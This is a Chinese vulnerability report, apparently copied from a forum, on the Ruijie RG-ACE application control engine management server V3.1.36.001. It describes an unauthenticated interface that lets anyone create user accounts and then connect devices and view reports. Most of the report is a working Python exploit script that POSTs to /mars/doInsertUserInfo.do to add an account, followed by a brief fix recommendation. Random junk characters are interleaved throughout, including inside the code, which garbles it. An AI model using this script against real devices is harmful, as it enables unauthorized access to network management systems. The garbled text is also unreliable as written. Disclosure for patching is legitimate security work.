锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)/ Y9 I9 G9 C4 G! U/ M+ X4 _
% w% V$ |. c: W# p) e& X5 B4 Z$ u0 m6 x5 e6 O3 C
测试的具体版本是
. P, A0 B& z8 a! I* @产品名称: 锐捷应用控制引擎; A B. ^& f* g5 A% ^; z4 y
版本号: 3.1.36.001 TC' O; z, a- E5 P7 R
编译时间: 201104291730
O: @9 G% z; a, l
+ M" w% m1 ? O7 a8 i$ _+ D' ]+ N) [: x2 G3 c( h8 h& k
漏洞证明:( H4 c* e' S1 l
2 ^4 W+ V: t% r2 |7 w. ]5 d: ~$ P8 r& e1 n! v
' p; x0 }' ~2 k5 w' ]! U: V
* l2 C8 @7 j' U! k3 \5 s$ m; v9 }3 A, K. I& b! T
/ f ~, g- ~& k0 P执行脚本
! ~+ C5 ?, e" A+ C6 P( K4 n#! /usr/bin/env python4 B1 H$ a% t ?% X; `) o4 }
#coding=gbk" c) ]& u0 ]/ p5 v; G+ u0 Y8 |4 r0 l
#RG-ACE管理服务器 V3.1.36.001& h W9 I% ?. A! {. ^
import urllib2, urllib,cookielib
2 j+ C R9 z% }* ?0 Ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP" l X3 J. _ l
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
4 |$ v& R! K% k4 r5 y1 \, lopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
( L( S" l8 N# j. \- O0 `post=(("event","userManager.doInsertUserInfo"),; {2 M* y7 ], k7 ^; r5 d, h+ Z% o
("useractionname","addButtonValue"),: J2 m! Z9 M+ `4 t$ |/ Y5 A T
("useropermanager","userManager"),, L: F! I4 ]: L) w4 s
("userName","t"), #######账号自己加
) C3 ^1 }, d% U4 v("pwd","aaaaaa"),######密码自己加
2 {) ]! |; Z0 U& S4 c; U. C("trueName","ad")," X/ R- [8 U: q" N
("email",""),' q% C& e; e- M+ n( O& Z) S
("mobilePhone",""),
9 H3 S5 I1 @- m$ x+ v/ s) Q+ `("officePhone",""),
3 \: @2 k2 f: `* [) y( { }) e("addr",""),: w$ W" E$ T8 g; o& U
("submit","确定"))
* a# i5 N- m6 Z* M E/ s8 [urllib2.install_opener(opener)
( b/ D t$ o" c4 G3 l/ I# Mp=urllib2.urlopen(url, urllib.urlencode(post)).read()- {1 @7 p: ^% X
print "Done"9 u) i" H& n' ?
9 Z, `6 T$ T* z1 h+ }" J4 \# O登录,连接设备
1 q* O/ ~4 Q7 a2 z" H/ x' w* |# @' _$ a; G7 P7 X9 V0 |- I
% w# X+ ]5 o, E3 v2 V L |
2 W7 _, R5 y, X# q$ h1 t( `3 S2 [) `( r* q7 ?
8 K0 o5 N5 f4 u/ _
默认的管理员admin权限更大点
$ b0 \0 Q( y7 g2 M6 h2 O3 ~
! G2 {* P9 w2 g& @$ o2 V; `" r7 r x4 }( N8 X! \& ~5 ?' F
. `% T$ J+ z& {5 f 6 u- l# ?" E# A/ \; }* x
/ }5 w4 {# B* ^6 }8 [. T7 o修复方案:& U& i: c; K, l) g8 {- C4 l
加强对接口的权限验证
. @1 n* y0 N1 x# m& `2 A m
9 V6 i( G' r/ Y, W2 d. w |